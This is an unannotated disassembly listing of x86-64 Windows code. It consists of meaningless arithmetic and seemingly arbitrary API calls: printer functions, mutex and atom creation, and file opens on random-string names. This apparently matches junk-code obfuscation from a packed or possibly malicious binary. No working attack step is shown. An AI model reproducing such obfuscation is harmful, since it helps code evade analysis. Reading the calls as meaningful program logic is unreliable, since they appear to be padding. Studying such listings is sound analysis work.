lea r9, [rsp + 0x8078]
mov r8d, 0x80
lea rdx, [rsp + 0x10860]
mov rcx, qword [rsp + 0x10938]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x80cc], eax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x517]
sub eax, ecx
mov byte [rsp + 0x511], al
mov eax, dword [rsp + 0x80c4]
mov ecx, dword [rsp + 0x80c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80e8], eax
mov rax, qword [rsp + 0x106c0]
movzx ecx, al
mov rax, qword [rsp + 0x10718]
shl rax, cl
mov qword [rsp + 0xda68], rax
mov eax, dword [rsp + 0x8090]
mov ecx, dword [rsp + 0x80ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x80dc], eax
jmp 0x1401f0a3f
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
shl eax, cl
movzx ecx, word [rsp + 0x27cc]
movzx edx, word [rsp + 0x2834]
xor ecx, edx
cmp eax, ecx
jne 0x1401f0a3f
mov rax, qword [rsp + 0x10758]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x8020]
mov rdx, qword [rsp + 0x10650]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jb 0x1401f07a5
mov eax, dword [rsp + 0x80d0]
mov dword [rsp + 0x80ec], eax
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x10918]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10898]
mov eax, dword [rax]
mov dword [rsp + 0x80f0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10940], rax
movsx eax, word [rsp + 0x27d8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27d4], ax
mov rax, qword [0x140281598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [0x14023c39c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
movsx eax, word [0x14023c3ac]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12dc], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x26db0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x805c], eax
movzx eax, byte [rsp + 0x511]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
movzx ecx, byte [rsp + 0x405]
mov rdx, qword [rsp + 0x107b0]
movzx edx, byte [rdx]
imul ecx, edx
cmp eax, ecx
jl 0x1400219a7
lea rax, [rsp + 0x10710]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x89
lea r9, [rsp + 0x282c]
mov r8d, 0x36
mov rdx, qword [rsp + 0x10880]
mov rcx, qword [rsp + 0x10948]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x80f4], eax
mov rax, qword [rsp + 0x107d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2838], ax
movzx eax, byte [rsp + 0x511]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x517], al
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x106c8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x10858]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x80a8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d20], eax
movzx r9d, word [rsp + 0x2838]
mov rax, qword [rsp + 0x10858]
mov r8, qword [rax]
mov rax, qword [rsp + 0x10658]
movzx edx, word [rax]
mov rax, qword [rsp + 0x106e8]
movzx ecx, word [rax]
call fcn.1401f2080
mov rax, qword [rsp + 0x10898]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10720]
mov qword [rsp + 0x10950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10950]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7f54], eax
movzx eax, byte [rsp + 0x50e]
mov byte [rsp + 0x51b], al
mov edx, 0x235c40
mov rcx, qword [rsp + 0x108d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x80b4], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0x10900]
mov rcx, qword [rsp + 0x10718]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10918]
mov rdx, qword [rsp + 0x106c8]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
ja 0x1401f0612
movsx eax, word [rsp + 0x27dc]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14023c3b4], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10678]
mov qword [rsp + 0x10958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10958]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x10740], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x10960], rax
mov rax, qword [rsp + 0x10818]
mov qword [rsp + 0x10968], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
cdq
mov ecx, 0x5ca
idiv ecx
mov word [rsp + 0x27cc], ax
mov rax, qword [rsp + 0x10918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10808]
mov qword [rsp + 0x10970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10970]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xee80], rax
mov eax, dword [rsp + 0x7210]
mov ecx, dword [rsp + 0x8024]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x78c0], eax
lea rax, [rsp + 0x413]
mov qword [rsp + 0x10978], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xee8
mov r8d, 0x3b13
mov edx, 0x2a
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x8058], eax
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov dword [rsp + 0x80f8], eax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0x516]
imul eax, ecx
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0xf8]
sub ecx, edx
cmp eax, ecx
jge 0x140021c6d
lea r9, [rsp + 0x80fc]
mov r8d, 0x36
mov rdx, qword [rsp + 0x105b8]
mov rcx, qword [rsp + 0x10980]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x8074], eax
movsx eax, word [rsp + 0x27fc]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2828], ax
movzx eax, word [rsp + 0x2838]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140281588], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27ec], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x517]
add eax, ecx
mov byte [rsp + 0xf8], al
movzx eax, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [rsp + 0x10588]
mov rcx, qword [0x14023c370]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x104a0]
mov rdx, qword [rsp + 0xda68]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401f03bf
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x106c8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x10528]
mov qword [rcx], rax
movsx eax, word [rsp + 0x27d4]
movsx ecx, word [rsp + 0x27d8]
cdq
idiv ecx
mov word [0x140281570], ax
mov rax, qword [0x140281590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x515]
shl eax, cl
mov byte [rsp + 0xe7], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f1c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.eKMN65VpvpzhBXbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10988], rax
lea rax, [rsp + 0x27d0]
mov qword [rsp + 0x10990], rax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x112c], ax
lea rax, [0x1402815c0]
mov qword [rsp + 0x10998], rax
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x10900]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x10918]
mov qword [rcx], rax
lea rcx, [rsp + 0x23cd0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [rsp + 0xd9]
movsx ecx, byte [rsp + 0x514]
add eax, ecx
movsx ecx, byte [rsp + 0x519]
movsx edx, byte [rsp + 0xce]
add ecx, edx
cmp eax, ecx
jne 0x1401f027e
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x8094]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x80a8], eax
lea rax, [rsp + 0x8080]
mov qword [rsp + 0x109a0], rax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x283c], ax
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [0x1402815b0]
mov edx, dword [rsp + 0x809c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1401f01b7
lea rdx, [rsp + 0x25100]
mov rcx, qword [rsp + 0x108c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7fa0], eax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [rsp + 0x109a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [0x14023c3b4]
add eax, ecx
mov rcx, qword [rsp + 0x10860]
mov word [rcx], ax
mov rax, qword [rsp + 0x109a0]
mov ecx, dword [rsp + 0x80f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a58], eax
mov eax, dword [rsp + 0x6a58]
mov ecx, dword [rsp + 0x80ac]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8050]
mov edx, dword [0x14023c398]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14002208f
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10858]
mov qword [rsp + 0x109b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x109b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x104e8], rax
mov eax, dword [0x1402815b0]
movzx ecx, al
mov eax, dword [rsp + 0x800c]
shl eax, cl
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x46
lea r9, [rsp + 0x109b8]
mov r8d, 0xd7
mov edx, 0x7d
mov rcx, qword [rsp + 0x10948]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x80f4], eax
movzx eax, byte [0x14023c038]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x10978]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x413]
movzx edx, byte [rsp + 0xce]
movzx ecx, byte [rsp + 0x514]
call fcn.1401f23c0
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10990]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x281c], ax
movzx eax, byte [rsp + 0x48d]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10930], rax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10978]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xce], al
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x18a8]
sub eax, ecx
mov word [rsp + 0x27c0], ax
lea r9, [rsp + 0x282c]
mov r8d, 0x74
lea rdx, [rsp + 0x10978]
mov rcx, qword [rsp + 0x109c0]
call qword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov dword [rsp + 0x7ff8], eax
mov rax, qword [rsp + 0x10678]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x104a0]
movzx ecx, byte [rsp + 0x510]
call fcn.1401f21c0
movzx eax, byte [0x1402815c0]
mov byte [rsp + 0x51c], al
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x809c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.II1DnlMYpGVWPFAUoAha
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x109c8], rax
movzx ecx, word [rsp + 0x27c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2808], ax
mov rax, qword [rsp + 0x10720]
mov rcx, qword [rsp + 0x109a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70fc], eax
mov rax, qword [rsp + 0x10858]
mov rax, qword [rax]
mov rcx, qword [0x14023c388]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10588], rax
mov rax, qword [rsp + 0x10990]
movzx eax, word [rax]
mov word [rsp + 0x2844], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14023c3b8], ax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x1e88]
mov rdx, qword [rsp + 0x105f8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140022246
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x279c], ax
movzx eax, byte [rsp + 0x517]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50f], al
mov rax, qword [rsp + 0x104b8]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x109d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x109d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x104a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10730], rax
call fcn.1401f2180
jmp 0x14002239a
mov rax, qword [rsp + 0x10850]
mov ecx, dword [rsp + 0x80dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x70fc], eax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x7ddc]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x80ec], eax
mov rax, qword [rsp + 0x109a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7368]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10850]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x8080]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14002239a
lea r9, [rsp + 0xd720]
mov r8d, 0x47
mov rdx, qword [rsp + 0x109d8]
mov rcx, qword [rsp + 0x10700]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x10918]
mov rcx, qword [rsp + 0x105e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xee80], rax
movzx eax, byte [rsp + 0x50f]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x515], al
movzx eax, word [rsp + 0x27b4]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14023c3b0], ax
movsx eax, byte [rsp + 0x50e]
movsx ecx, byte [rsp + 0x51b]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x165c], ax
xor edx, edx
lea rcx, [fcn.1401f2340]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov dword [rsp + 0x7f78], eax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10818], rax
lea rdx, [rsp + 0x109e0]
mov rcx, qword [rsp + 0x108c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x80a0], eax
mov rax, qword [rsp + 0x10990]
movzx eax, word [rax]
mov word [rsp + 0x2848], ax
movzx eax, word [rsp + 0x1808]
mov rcx, qword [0x1402815b8]
movzx ecx, word [rcx]
sub eax, ecx
mov dword [rsp + 0x8100], eax
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x11a8]
mov dword [rsp + 0x8104], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x8104]
idiv ecx
mov ecx, dword [rsp + 0x8100]
cmp ecx, eax
jge 0x140022493
mov eax, dword [rsp + 0x6d20]
mov ecx, dword [rsp + 0x80f8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10758]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f00], eax
mov rax, qword [rsp + 0x10808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xee80], rax
mov edx, 0x23
mov rcx, qword [rsp + 0x10980]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x80a8], eax
call fcn.1401f2180
jmp 0x14002254c
lea rcx, str.BS.3sAM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x280c], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2828], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x516]
add eax, ecx
mov byte [0x1402815a0], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x109e8], rax
lea rcx, str.Z4y9st4RwhSEFUomwC_KnM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2810], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10930]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x102a8], rax
movsx eax, word [0x14023c3ac]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x10840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10820]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10808]
mov rdx, qword [rsp + 0x10900]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x1400226f9
movzx eax, word [rsp + 0x27d0]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x51d], al
mov rax, qword [rsp + 0x10850]
mov ecx, dword [rsp + 0x78c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80ac], eax
mov rax, qword [rsp + 0x10858]
mov rax, qword [rax]
mov qword [rsp + 0x109f0], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x80ec]
shl eax, cl
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x514]
xor eax, ecx
mov byte [rsp + 0x413], al
movsx eax, word [rsp + 0x12dc]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0x10998]
movzx eax, byte [rax]
mov rcx, qword [0x140281590]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x14023c03d], al
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x10518]
mov word [rcx], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov qword [rsp + 0x109f8], rax
mov rax, qword [rsp + 0x109f8]
mov rcx, qword [rsp + 0x10730]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x800c], eax
mov rax, qword [rsp + 0x10528]
mov rax, qword [rax]
mov qword [rsp + 0x10a00], rax
mov rax, qword [rsp + 0x10898]
mov rcx, qword [rsp + 0x109a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80e0], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1808]
add eax, ecx
mov word [rsp + 0x1ff4], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x27c0]
add eax, ecx
mov word [rsp + 0x283c], ax
lea rcx, [rsp + 0x23c80]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0x517]
mov qword [0x140281568], rax
mov rax, qword [rsp + 0xdfa0]
mov qword [rsp + 0x10a08], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x7f08], eax
mov rax, qword [rsp + 0x10538]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x102a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0x10800]
mov rdx, qword [rsp + 0x10738]
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x8108], eax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2828]
add eax, ecx
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0x10820]
mov qword [rsp + 0x10a10], rax
mov rax, qword [rsp + 0x10850]
mov ecx, dword [0x14023c394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68f0], eax
movzx ecx, word [rsp + 0x27f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2808], ax
movzx eax, byte [rsp + 0x516]
movzx ecx, byte [rsp + 0x511]
sub eax, ecx
movzx ecx, byte [rsp + 0x2c4]
movzx edx, byte [rsp + 0x50f]
sub ecx, edx
cmp eax, ecx
jge 0x1400229a0
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10978]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x800c]
shl eax, cl
mov dword [rsp + 0x80ec], eax
movzx eax, word [rsp + 0x27cc]
movzx ecx, word [rsp + 0x279c]
and eax, ecx
mov word [rsp + 0x27b4], ax
movzx eax, byte [0x1402815a0]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402815c0], al
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b0], ax
movzx eax, byte [rsp + 0x51b]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x10978]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x519]
mov rax, qword [0x1402815c8]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x50e]
call fcn.1401f23c0
lea rax, [rsp + 0x25030]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7ef4]
lea r8, [rsp + 0x10860]
lea rdx, [rsp + 0x10758]
mov rcx, qword [rsp + 0x10a18]
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov dword [rsp + 0x8074], eax
movsx eax, word [0x14023c3ac]
movsx ecx, word [rsp + 0x27c0]
add eax, ecx
mov rcx, qword [rsp + 0x10648]
mov word [rcx], ax
mov rax, qword [rsp + 0x10998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x50d]
sub eax, ecx
mov byte [rsp + 0x50f], al
jmp 0x140022af9
mov eax, dword [rsp + 0x7f54]
mov dword [rsp + 0x810c], eax
mov rax, qword [rsp + 0x10918]
mov rcx, qword [rsp + 0x10528]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10698], rax
mov rax, qword [rsp + 0x10608]
mov rcx, qword [rsp + 0x10758]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x10608]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1e88]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1258], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27ec], ax
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f08], eax
movzx eax, byte [rsp + 0x517]
movzx ecx, byte [rsp + 0x511]
add eax, ecx
mov byte [0x14023c03a], al
mov rax, qword [0x14023c380]
mov qword [rsp + 0x10a20], rax
mov rax, qword [rsp + 0x10810]
mov rcx, qword [rsp + 0xdfa0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x109a8], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x106b8]
shl rax, cl
mov qword [rsp + 0x10810], rax
movzx ecx, word [rsp + 0x2804]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x284c], ax
movzx eax, word [rsp + 0x1258]
mov word [rsp + 0x2850], ax
lea rax, [rsp + 0x4e2]
mov qword [rsp + 0x10a28], rax
mov rax, qword [rsp + 0x10850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fcc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x10808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10918]
mov qword [rsp + 0x10a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10a30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe0c8], rax
movzx ecx, word [rsp + 0x27f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
